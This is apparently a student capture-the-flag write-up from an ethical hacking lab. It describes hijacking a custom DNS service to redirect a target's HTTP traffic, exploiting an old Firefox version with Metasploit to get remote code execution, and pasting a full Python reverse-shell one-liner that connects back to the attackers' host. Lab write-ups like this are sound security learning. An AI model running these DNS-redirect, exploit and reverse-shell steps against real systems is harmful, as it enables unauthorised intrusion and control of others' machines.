This flag combined the knowledge we had from the 83 and 84 targets (flag 10,11). From the 83 target and the tcpdump from flag 11 we saw that the header of the get request sent from 10.0.4.5 were for a linux pc running firefox 26.0. It was requesting and sending some files for the cuiteur server. From these packets we also saw the host for the packets which were cuiteur-s1.ethhak-cuiteur-s6.ethhak. When doing scans on the 10.0.4.5 machine it was down which meant it probably has firewall rules to only accept certain traffic and it seemed to have no ports open and probably also blocks icmp pings. It did however regularly make http get requests and used 10.0.0.4 as a dns.

From a tcpdump at the 84 machine we discovered that it sent dns traffic to 10.0.4.5 which was the same address as the one we were sending http traffic to and from on the 83 machine. We then searched the local file system on the 84 for the hostname we found with the command **grep -rl "cuiteur-s1" / --exclude-dir=proc 2>/dev/null.** From this we found a folder called **php-dns** which contained a **dns_records.json** file**.** This seemed to work as a custom dns and translated the cuiteur hosts to 10.0.0.3 which is why we saw http traffic on the 83 machine.

We also saw a service which was connected to this which we found using **systemctl list-units --type=service** and we found php-dns.service.

We tried to change to which ip the dns translated the hostnames to and changed it to our vpn ip to redirect http traffic to us instead of the 83 machine. We then restarted the service to apply the changes with **systemctl restart php-dns.service** When looking now at our machine in wireshark, we saw http traffic from 10.162.2.85.

When looking at what to exploit on the machine, we looked at the user-agent which was firefox and its version, and it turns out it's an older version with known vulnerabilities. We found this article which used a metasploit exploit of firefox version 22-27. It uses a local decoy server to catch the http traffic and then inject malicious code through the traffic to gain rce on the target machine. We followed the steps for the options from the article in metasploit, but also set LHOST to 10.168.2.80-81 which is our vpn ip to connect back to us for our reverse shell.

When trying this it seemed to register the traffic and we eventually got a shell which we could check with **sessions -i** in metasploit and then session <id> to open the shell.
When the shell was open we at first just got a blank screen with no indication we were in a shell, but when trying **whoami** we got back **crash_override** which meant we had successfully gotten a shell.

What we noticed however was that sessions closed very quickly which meant we could only do one or two commands before it closed. So we quickly pasted in a python reverse tcp command and at the same time listened on our machine:

python3 -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.162.2.81",4141));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

After this we got a more stable shell back and could safely navigate the system.

Upgrade shell(nicer terminal and color):
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color

Then we explored a bit:
cd /home/crash_override
Found some c files in home directory, seems to be able to be used for privilege escalation. The necromancer binary has execution rights and the file is owned by root. So maybe binary exploitation or messing with imports could result in getting a root shell.

Then we finally found the flag in /home/ubuntu:
flag{5d402ee265326a1b0ca13debe03652ea724fcda95a9c79}.jpg